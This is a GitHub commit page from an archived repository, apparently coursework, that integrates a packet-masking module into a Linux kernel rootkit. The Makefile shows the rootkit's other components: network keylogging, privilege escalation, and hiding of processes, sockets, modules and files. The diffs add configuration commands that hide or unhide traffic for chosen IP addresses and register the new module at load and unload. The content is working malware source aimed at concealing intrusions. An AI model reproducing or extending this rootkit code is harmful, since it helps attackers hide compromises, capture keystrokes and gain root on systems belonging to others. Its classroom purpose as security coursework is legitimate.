Skip to content
This repository was archived by the owner on Jun 30, 2020. It is now read-only.

Commit f6ac01d

Browse files
committed
Integrated and tested the packet masker
1 parent f3badc1 commit f6ac01d

File tree

5 files changed

+472
-3
lines changed

5 files changed

+472
-3
lines changed

Assignment_8/rootkit/Makefile

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -28,9 +28,8 @@ KDIR = /lib/modules/$(shell uname -r)/build
2828
TARGET = rootkit
2929

3030
obj-m += $(TARGET).o
31-
rootkit-objs := module_masking.o network_keylogging.o privil_escalation.o process_masking.o socket_masking.o conf_manager.o jsmn.o udp_server.o file_masking.o core.o
31+
rootkit-objs := module_masking.o network_keylogging.o privil_escalation.o process_masking.o socket_masking.o conf_manager.o jsmn.o udp_server.o file_masking.o core.o packet_masking.o
3232
ccflags-y = -Wno-unused-function
33-
#file_masking.o
3433

3534
all: sysmap
3635
make -C $(KDIR) M=$(PWD) modules

Assignment_8/rootkit/conf_manager.c

Lines changed: 17 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -28,7 +28,7 @@
2828
#include "process_masking.h" /* Needed for ... */
2929
#include "socket_masking.h" /* Needed for ... */
3030
#include "file_masking.h"
31-
31+
#include "packet_masking.h"
3232

3333
/*******************************************************************************/
3434
/* */
@@ -246,6 +246,22 @@ static int parse_json(char *json_str)
246246
unmask_socket("udp6", port);
247247
}
248248

249+
} else if (!jsoneq(json_str, &t[i], "hide_ip_addr")) {
250+
count = extract_array_values(json_str);
251+
printk(KERN_INFO "%s: %d\n", "hiding_address", count);
252+
for (j=0 ; j<count ; j++) {
253+
printk(KERN_INFO "index %d has value %s\n", j, values[j]);
254+
mask_ip_traffic(values[j]);
255+
}
256+
257+
} else if (!jsoneq(json_str, &t[i], "unhide_ip_addr")) {
258+
count = extract_array_values(json_str);
259+
printk(KERN_INFO "%s: %d\n", "unhide_ip_addr", count);
260+
for (j=0 ; j<count ; j++) {
261+
printk(KERN_INFO "index %d has value %s\n", j, values[j]);
262+
unmask_ip_traffic(values[j]);
263+
}
264+
249265
} else {
250266
printk(KERN_INFO "Unexpected key: %.*s\n", t[i].end-t[i].start,
251267
json_str + t[i].start);

Assignment_8/rootkit/core.c

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -35,6 +35,7 @@
3535
#include "conf_manager.h" /* Needed for ... */
3636
#include "udp_server.h" /* Needed for ... */
3737
#include "file_masking.h"
38+
#include "packet_masking.h"
3839
#include "core.h"
3940

4041

@@ -121,6 +122,7 @@ static int __init core_start(void)
121122
conf_manager_init(DEBUG_MODE_IS_ON);
122123
udp_server_init(DEBUG_MODE_IS_ON);
123124
file_masking_init(DEBUG_MODE_IS_ON, (void *)original_readlinkat_syscall);
125+
packet_masking_init();
124126

125127
DEBUG_PRINT("successfully inserted");
126128

@@ -151,6 +153,7 @@ static void __exit core_end(void)
151153
network_keylogging_exit();
152154
//module_masking_exit();
153155
file_masking_exit();
156+
packet_masking_exit();
154157

155158
DEBUG_PRINT("successfully removed");
156159

0 commit comments

Comments
 (0)